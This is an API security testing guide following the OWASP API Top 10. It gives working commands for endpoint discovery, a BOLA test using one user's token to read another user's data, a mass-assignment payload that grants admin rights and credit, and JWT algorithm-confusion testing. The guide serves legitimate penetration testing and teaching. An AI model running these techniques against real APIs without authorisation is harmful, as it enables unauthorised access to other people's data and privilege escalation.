The OWASP API Security Top 10 was introduced because API-specific vulnerabilities were not adequately covered by the existing web application Top 10. APIs have a different security model: they expose structured data directly, they frequently serve multiple client types with different trust levels, and they are often deployed without the same operational security attention given to customer-facing web applications.
Phase 1: Reconnaissance and API Surface Mapping
The first objective is to enumerate as much of the API surface as possible before active testing. This includes published documentation (OpenAPI/Swagger specs, Postman collections), JavaScript bundles from the web front-end that contain API calls, mobile application binaries, and historical API versions still accessible at version-specific endpoints.
# Find API documentation endpoints
curl -s https://api.target.com/swagger.json
curl -s https://api.target.com/openapi.json
curl -s https://api.target.com/v1/docs
curl -s https://api.target.com/api-docs
# Extract API endpoints from JavaScript bundles
# Download the app's JS, then grep for API patterns
grep -oP '"(/api/[^"]+)"' app.bundle.js | sort -u
# Use gau (getallurls) to find historical API endpoints
gau api.target.com | grep -E "/v[0-9]/" | sort -u
# Convert OpenAPI spec to Postman collection for organised testing
npx @openapitools/openapi-generator-cli generate -i openapi.json -g postmanOWASP API1: Broken Object Level Authorisation (BOLA)
BOLA (formerly called IDOR — Insecure Direct Object Reference) is the most common and most impactful API vulnerability class. An API endpoint that accepts an object identifier (user ID, order ID, document ID) and returns or modifies that object without verifying the requesting user is authorised to access it is vulnerable.
# Test for BOLA: authenticate as User A, then access User B's resources
# Step 1: Authenticate as User A
TOKEN_A=$(curl -s -X POST https://api.target.com/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"usera","password":"passworda"}' | jq -r .token)
# Step 2: Get User A's resource to find the ID format
curl -s https://api.target.com/v1/users/me/profile \
-H "Authorization: Bearer $TOKEN_A"
# Step 3: Authenticate as User B, note their user ID
TOKEN_B=$(...)
USER_B_ID="user-id-from-step-above"
# Step 4: Use User A's token to access User B's resource
curl -s https://api.target.com/v1/users/$USER_B_ID/profile \
-H "Authorization: Bearer $TOKEN_A"
# If this returns User B's data, BOLA is confirmedOWASP API3: Broken Object Property Level Authorisation
A common pattern in APIs built with ORM frameworks is mass assignment: the API accepts a JSON body and maps it directly to a model object. If the mapping is not restricted, an attacker can set fields they should not have access to, including privilege flags, account status, and other sensitive properties.
# Normal profile update request:
PUT /v1/users/profile
{"display_name": "Alice", "bio": "Security researcher"}
# Mass assignment attack: add fields not in the UI
PUT /v1/users/profile
{
"display_name": "Alice",
"bio": "Security researcher",
"role": "admin",
"is_verified": true,
"subscription_tier": "enterprise",
"credit_balance": 10000
}
# If the server accepts and applies these fields, mass assignment is confirmedOWASP API4: Unrestricted Resource Consumption
APIs that do not enforce rate limiting, request size limits, or result pagination limits are vulnerable to resource exhaustion. This includes missing rate limiting on authentication endpoints (enabling brute force), missing pagination limits (enabling data enumeration), and missing file size limits on upload endpoints.
Testing JWT Implementation
import jwt
import json
import base64
# Decode a JWT without verification to inspect claims
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzIiwicm9sZSI6InVzZXIifQ.abc"
# Decode header and payload (no signature check)
parts = token.split(".")
header = json.loads(base64.b64decode(parts[0] + "=="))
payload = json.loads(base64.b64decode(parts[1] + "=="))
print(f"Algorithm: {header['alg']}") # Check for 'none' or weak algorithms
print(f"Claims: {payload}")
# Test for algorithm confusion (RS256 -> HS256)
# If the server uses RS256, get the public key and re-sign as HS256
# This is a critical JWT vulnerability - the server verifies HS256 sig
# using the public key (which the attacker knows) as the HMAC secretTools Reference
| Tool | Use Case | Notes |
|---|---|---|
| Burp Suite Professional | Intercept, modify, replay API requests | Essential for manual testing |
| OWASP ZAP | Automated scanning with OpenAPI import | Good for broad coverage |
| Postman | Organise and run API test collections | Import from Swagger spec |
| jwt_tool | JWT vulnerability testing | Tests algorithm confusion, none alg |
| Arjun | HTTP parameter discovery | Finds hidden parameters in endpoints |
| ffuf | Endpoint and parameter fuzzing | Fast, supports wordlists |